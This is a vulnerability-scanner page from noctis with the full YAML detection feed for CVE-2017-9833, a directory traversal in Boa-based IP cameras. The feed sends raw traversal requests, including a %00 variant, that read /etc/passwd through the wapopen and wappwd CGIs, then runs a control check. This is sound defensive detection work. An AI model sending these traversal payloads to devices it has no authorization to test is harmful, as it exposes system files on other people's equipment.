Boa — 1 vulnerability check

noctis ships 1 vulnerability check for Boa, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

IP Cameras (Boa) wapopen / wappwd Directory Traversal

CVECVE-2017-9833
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/boa/CVE-2017-9833.yaml

Tests IP cameras running the Boa web server for the unauthenticated directory traversal in /cgi-bin/wapopen (FILECAMERA) and /cgi-bin/wappwd (FILEFAIL) (CVE-2017-9833). The feed reads /etc/passwd through the traversal, with and without a NUL-byte suffix cut, and confirms the root entry is disclosed only for the traversal and not for a harmless control file name.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{cam_cgi}}../../../../../../etc/passwd HTTP/1.0
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{cam_cgi}}../../../../../../etc/passwd%00 HTTP/1.0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{cam_cgi}}noctis-control.htm HTTP/1.0
  4. Parses / computes the next value with a Rhai script
  5. Checks cam_hit.line for ^root:[^:]*:0:0: → finding QoD 75: Directory traversal read /etc/passwd via GET …… (control file name did not) — …

References:

Feed source — tests/vulnerabilities/boa/CVE-2017-9833.yaml
# IP cameras (Boa web server) wapopen / wappwd directory traversal — CVE-2017-9833
#
# Many low-cost IP cameras (and DVR/NVR boxes) ship the Boa 0.94.14rc21 web
# server with two CGIs, `/cgi-bin/wapopen` and `/cgi-bin/wappwd`, that open
# the file named by their `FILECAMERA` / `FILEFAIL` parameter without
# rejecting `../`. An unauthenticated client reads any file the web server
# can read (exploit-db 42290).
#
# Detection (QoD 75 — real exploitation, benign proof): the feed performs the
# actual file read and confirms it in-band. For each CGI it
#   1. reads `../../../../../../etc/passwd` through the parameter (the exploit),
#   2. retries with a trailing `%00` — firmware that appends an extension to
#      the parameter (the case the public PoC and Nuclei target) only reads
#      the file when the suffix is cut off by the NUL byte,
#   3. sends a control request naming a harmless, non-existent file,
#   4. fires only when an exploit reply is HTTP 200 and carries a genuine
#      /etc/passwd root entry (`root:<pw>:0:0:`) that the control reply does
#      NOT carry — a page that always shows passwd-like text can't match.
# /etc/passwd is world-readable and, on these firmwares, the NASL's own proof
# file. Only the matched root line is kept as evidence (not the whole file).
# Nothing is written, executed or deleted on the target.
#
# Better than the OpenVAS NASL, which sends a single
# `/cgi-bin/wapopen?FILECAMERA=../../../<file>` request:
#   - the deeper `../` chain is a superset of the NASL's three levels (extra
#     `../` at `/` are no-ops), so cameras whose CGI working directory sits
#     deeper than three levels are no longer missed;
#   - the `%00` variant covers firmware that appends a suffix to FILECAMERA,
#     which the NASL misses (false negative) — this is the Nuclei/PoC payload;
#   - `/cgi-bin/wappwd?FILEFAIL=` — the second vulnerable CGI named in the
#     advisory, never probed by the NASL — is tested too;
#   - the HTTP 200 + control-request checks remove the NASL's false positive on
#     a page that echoes passwd-like text for any FILECAMERA value.
# Only /etc/passwd is read: these are Linux devices, the NASL's Windows files
# (win.ini) don't apply.
#
# tcp_connect is used (verbatim HTTP/1.0) so neither the `../` sequences nor
# the `%00` are re-encoded or normalised on the way out.
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_mult_ip_cameras_dir_trav_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.106907, GPL-2.0-only); cross-checked with Nuclei
# `http/cves/2017/CVE-2017-9833.yaml`.
uid: a4de8e31-ef19-404c-ad11-6a0c2f3dc249
name: "IP Cameras (Boa) wapopen / wappwd Directory Traversal (CVE-2017-9833)"
description: |
  Tests IP cameras running the Boa web server for the unauthenticated directory
  traversal in /cgi-bin/wapopen (FILECAMERA) and /cgi-bin/wappwd (FILEFAIL)
  (CVE-2017-9833). The feed reads /etc/passwd through the traversal, with and
  without a NUL-byte suffix cut, and confirms the root entry is disclosed only
  for the traversal and not for a harmless control file name.
cves: [CVE-2017-9833]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [ip-camera, boa, iot, path-traversal, file-read, lfi, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-9833"
  - "https://www.exploit-db.com/exploits/42290"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9833.yaml"

steps:
  # ── 0. Per CGI: reset the stored replies ────────────────────────────────
  # A failed tcp_connect leaves store_as unset; clearing them first means a
  # previous CGI's reply can never be compared against this CGI's control.
  - id: reset-exploit
    action: set_var
    var_name: cam_exp
    var_value: {banner: null}
    loop:
      over:
        - "/cgi-bin/wapopen?FILECAMERA="
        - "/cgi-bin/wappwd?FILEFAIL="
      var: cam_cgi

  - id: reset-exploit-nul
    action: set_var
    var_name: cam_nul
    var_value: {banner: null}

  - id: reset-control
    action: set_var
    var_name: cam_ctl
    var_value: {banner: null}

  # ── 1. Exploit: plain traversal to /etc/passwd ──────────────────────────
  - id: traversal
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{cam_cgi}}../../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: cam_exp

  # ── 2. Exploit: same traversal, extension cut off with %00 ──────────────
  - id: traversal-nul
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{cam_cgi}}../../../../../../etc/passwd%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: cam_nul

  # ── 3. Control: same CGI, harmless non-existent file name ───────────────
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{cam_cgi}}noctis-control.htm HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: cam_ctl

  # ── 4. Keep the disclosed root entry only when an exploit reply is a ────
  #       200 carrying it and the control reply does not.
  - id: extract-root-line
    action: script
    code: |
      let re = "root:[^:\\s<>]*:0:0:[^\\r\\n<]*";
      let ctl = if type_of(cam_ctl.banner) == "string" { cam_ctl.banner } else { "" };
      let hit = #{ line: "", payload: "" };
      if !ereg(re, ctl) {
        for v in [[cam_exp.banner, "../../../../../../etc/passwd"],
                  [cam_nul.banner, "../../../../../../etc/passwd%00"]] {
          let b = v[0];
          if hit.line == "" && type_of(b) == "string" && ereg("^HTTP/1\\.[01] 200", b) {
            let m = eregmatch(re, b);
            if m.len() > 0 { hit = #{ line: m[0], payload: v[1] }; }
          }
        }
      }
      hit
    store_as: cam_hit

  # ── 5. Confirm the file read ────────────────────────────────────────────
  - id: passwd-disclosed
    action: match
    source: cam_hit.line
    pattern: "^root:[^:]*:0:0:"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 75
        evidence: "Directory traversal read /etc/passwd via GET {{cam_cgi}}{{cam_hit.payload}} (control file name did not) — {{cam_hit.line}}"
      stop: true

View these feeds on GitHub